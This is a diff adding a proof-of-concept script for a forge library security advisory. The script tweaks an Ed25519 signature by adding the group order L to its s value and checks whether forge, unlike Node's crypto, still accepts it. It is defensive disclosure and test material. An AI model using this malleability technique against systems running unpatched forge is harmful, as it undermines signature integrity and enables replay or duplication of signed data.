|
| 1 | +#!/usr/bin/env node |
| 2 | +'use strict'; |
| 3 | + |
| 4 | +// Security Advisory PoC |
| 5 | +// |
| 6 | +// https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw |
| 7 | +// |
| 8 | +// This vulnerability was discovered as part of a U.C. Berkeley security |
| 9 | +// research project by: Austin Chu, Sohee Kim, and Corban Villa. |
| 10 | +// |
| 11 | +// Test vectors from this code were added in the ed25519 unit tests. |
| 12 | + |
| 13 | +const path = require('path'); |
| 14 | +const crypto = require('crypto'); |
| 15 | +const forge = require('../../lib/index'); |
| 16 | +const ed = forge.ed25519; |
| 17 | + |
| 18 | +const MESSAGE = Buffer.from('dderpym is the coolest man alive!'); |
| 19 | + |
| 20 | +// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). |
| 21 | +const ED25519_ORDER_L = Buffer.from([ |
| 22 | + 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, |
| 23 | + 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, |
| 24 | + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 25 | + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, |
| 26 | +]); |
| 27 | + |
| 28 | +// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. |
| 29 | +// This returns a new signature with s := s + L (mod 2^256), plus the carry. |
| 30 | +function addLToS(signature) { |
| 31 | + if (!Buffer.isBuffer(signature) || signature.length !== 64) { |
| 32 | + throw new Error('signature must be a 64-byte Buffer'); |
| 33 | + } |
| 34 | + const out = Buffer.from(signature); |
| 35 | + let carry = 0; |
| 36 | + for (let i = 0; i < 32; i++) { |
| 37 | + const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. |
| 38 | + const sum = out[idx] + ED25519_ORDER_L[i] + carry; |
| 39 | + out[idx] = sum & 0xff; |
| 40 | + carry = sum >> 8; |
| 41 | + } |
| 42 | + return { sig: out, carry }; |
| 43 | +} |
| 44 | + |
| 45 | +function toSpkiPem(publicKeyBytes) { |
| 46 | + if (publicKeyBytes.length !== 32) { |
| 47 | + throw new Error('publicKeyBytes must be 32 bytes'); |
| 48 | + } |
| 49 | + // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. |
| 50 | + const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); |
| 51 | + const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); |
| 52 | + const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); |
| 53 | + const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); |
| 54 | + const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); |
| 55 | + return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`; |
| 56 | +} |
| 57 | + |
| 58 | +function verifyWithCrypto(publicKey, message, signature) { |
| 59 | + try { |
| 60 | + const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); |
| 61 | + const ok = crypto.verify(null, message, keyObject, signature); |
| 62 | + return { ok }; |
| 63 | + } catch (error) { |
| 64 | + return { ok: false, error: error.message }; |
| 65 | + } |
| 66 | +} |
| 67 | + |
| 68 | +function toResult(label, original, tweaked) { |
| 69 | + return { |
| 70 | + [label]: { |
| 71 | + original_valid: original.ok, |
| 72 | + tweaked_valid: tweaked.ok, |
| 73 | + }, |
| 74 | + }; |
| 75 | +} |
| 76 | + |
| 77 | +function main() { |
| 78 | + const kp = ed.generateKeyPair(); |
| 79 | + const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); |
| 80 | + const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); |
| 81 | + const tweaked = addLToS(sig); |
| 82 | + const okTweaked = ed.verify({ |
| 83 | + message: MESSAGE, |
| 84 | + signature: tweaked.sig, |
| 85 | + publicKey: kp.publicKey, |
| 86 | + }); |
| 87 | + const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); |
| 88 | + const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); |
| 89 | + const result = { |
| 90 | + ...toResult('forge', { ok }, { ok: okTweaked }), |
| 91 | + ...toResult('crypto', cryptoOriginal, cryptoTweaked), |
| 92 | + }; |
| 93 | + console.log(JSON.stringify(result, null, 2)); |
| 94 | + // enable for debugging on to make test vectors |
| 95 | + //console.log({ |
| 96 | + // message: MESSAGE.toString('hex'), |
| 97 | + // sig: sig.toString('hex'), |
| 98 | + // sigSplusL: tweaked.sig.toString('hex'), |
| 99 | + // pk: kp.publicKey.toString('hex') |
| 100 | + //}); |
| 101 | +} |
| 102 | + |
| 103 | +main(); |
0 commit comments